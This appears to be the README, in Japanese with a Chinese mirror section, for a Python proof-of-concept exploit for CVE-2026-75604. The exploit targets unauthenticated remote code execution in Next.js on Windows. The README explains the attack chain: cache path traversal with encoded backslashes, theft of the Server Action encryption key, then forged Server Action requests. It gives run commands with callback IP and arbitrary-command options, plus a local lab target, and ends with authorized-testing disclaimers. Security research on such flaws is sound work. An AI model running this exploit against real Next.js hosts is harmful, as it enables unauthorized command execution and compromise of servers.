hackspeak/cve-2026-75604CVE-2026-75604の概念実証エクスプロイト。Windowsホスト上のNext.jsにおける、キャッシュパストラバーサルと偽造されたServer Actionを介した未認証RCEであり、許可されたセキュリティテストを目的としています。
CVE-2026-75604 の Python 概念実証コード。Windows 上でホストされている Next.js アプリケーション(Pages Router と App Router を Cache Components なしで使用)における、認証不要のリモートコード実行の脆弱性を実証します。
>=13.4 <15.5.24 または >=16.0 <16.3.3[email protected] で検証済み。
python -m pip install -r requirements.txt
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE
Server Action のパスはデフォルトで / です。フォームに複数のフィールドがある場合は --action-field を使用してください。
必須引数:
--target URL: Next.js アプリケーションのベース URL--callback-ip ADDRESS: ターゲットから到達可能な IPv4 アドレス--pages-cache-path PATH: 既存の動的 Pages Router ISR ページ--app-cache-path PATH: ファイルシステムキャッシュによってバックアップされた既存の動的 App Router ページオプション引数:
--command COMMAND: 実行するコマンド(デフォルトは whoami)--action-path PATH: 互換性のある Server Action を含む App Router ページ(デフォルトは /)--action-field NAME: アクションによって消費されるフォームフィールド(明確な場合は自動検出)--callback-port PORT: コールバックポート(デフォルトは 4331)--listen-address ADDRESS: ローカルコールバックバインドアドレス(デフォルトは 0.0.0.0)--timeout SECONDS: リクエストとコールバックのタイムアウト(デフォルトは 20)--insecure: TLS 証明書の検証を無効化オプションの target/ アプリケーションは [email protected] を固定し、標準の Next.js 本番サーバーを使用します:
cd target
npm ci
npm run build
npm start
別のターミナルで PoC を実行します:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
オプションのターゲットは、必要なルートと / 上の互換性のある Server Action を提供します。
この PoC は、教育目的、セキュリティ研究、および許可されたテストのみを目的として提供されています。所有しているシステム、またはテストする明示的な許可があるシステムでのみ使用してください。
evolutionstorm にクレジットを捧げます。
この PoC は、公開アドバイザリと Next.js パッチ から独立して再構築されました。
本仓库为 CVE-2026-75604 利用 PoC 的中转分发镜像(英文使用说明见上方上游原版 README)。内容由上游公开 PoC 镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H>=13.4 <15.5.24、>=16.0 <16.3.315.5.24 / 16.3.3核心原理:FileSystemCache 在 Windows 上未把反斜杠(\)视为路径分隔符进行转义,攻击者可用 ..%5C 编码穿越缓存路径,读取私密文件 server-reference-manifest.json,泄露 Server Action 的 encryptionKey,再伪造闭包绑定 Server Action 请求执行任意命令。
python -m pip install -r requirements.txt(cryptography、requests)已在 [email protected] 上验证。
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP \
--pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE \
--app-cache-path /PATH/TO/APP_CACHE_INSTANCE
| 参数 | 必填 | 说明 |
|---|---|---|
--target URL | 是 | Next.js 应用基础 URL |
--callback-ip ADDRESS | 是 | 目标可回连的 IPv4 地址 |
--pages-cache-path PATH | 是 | 已存在的动态 Pages Router ISR 页(穿越锚点) |
--app-cache-path PATH | 是 | 已存在的、走文件系统缓存的动态 App Router 页 |
--command COMMAND | 否 | 要执行的命令(默认 whoami) |
--action-path PATH | 否 | 含兼容 Server Action 的 App Router 页(默认 /) |
--action-field NAME | 否 | Action 表单消费的业务字段(唯一时自动检测) |
--callback-port PORT | 否 | 回连端口(默认 4331) |
--listen-address ADDRESS | 否 | 本地回调监听地址(默认 0.0.0.0) |
--timeout SECONDS | 否 | 请求与回调超时(默认 20) |
--insecure | 否 | 关闭 TLS 证书校验 |
仓库内 target/ 提供了可复现的示例应用(锁定 [email protected],标准生产服务器):
cd target
npm ci
npm run build
npm start
另开终端运行:
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 \
--pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed
示例目标提供了所需路由与 / 上的兼容 Server Action。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的系统运行。利用会在目标 Windows 主机执行任意命令,请在可销毁环境中测试。
LICENSE)。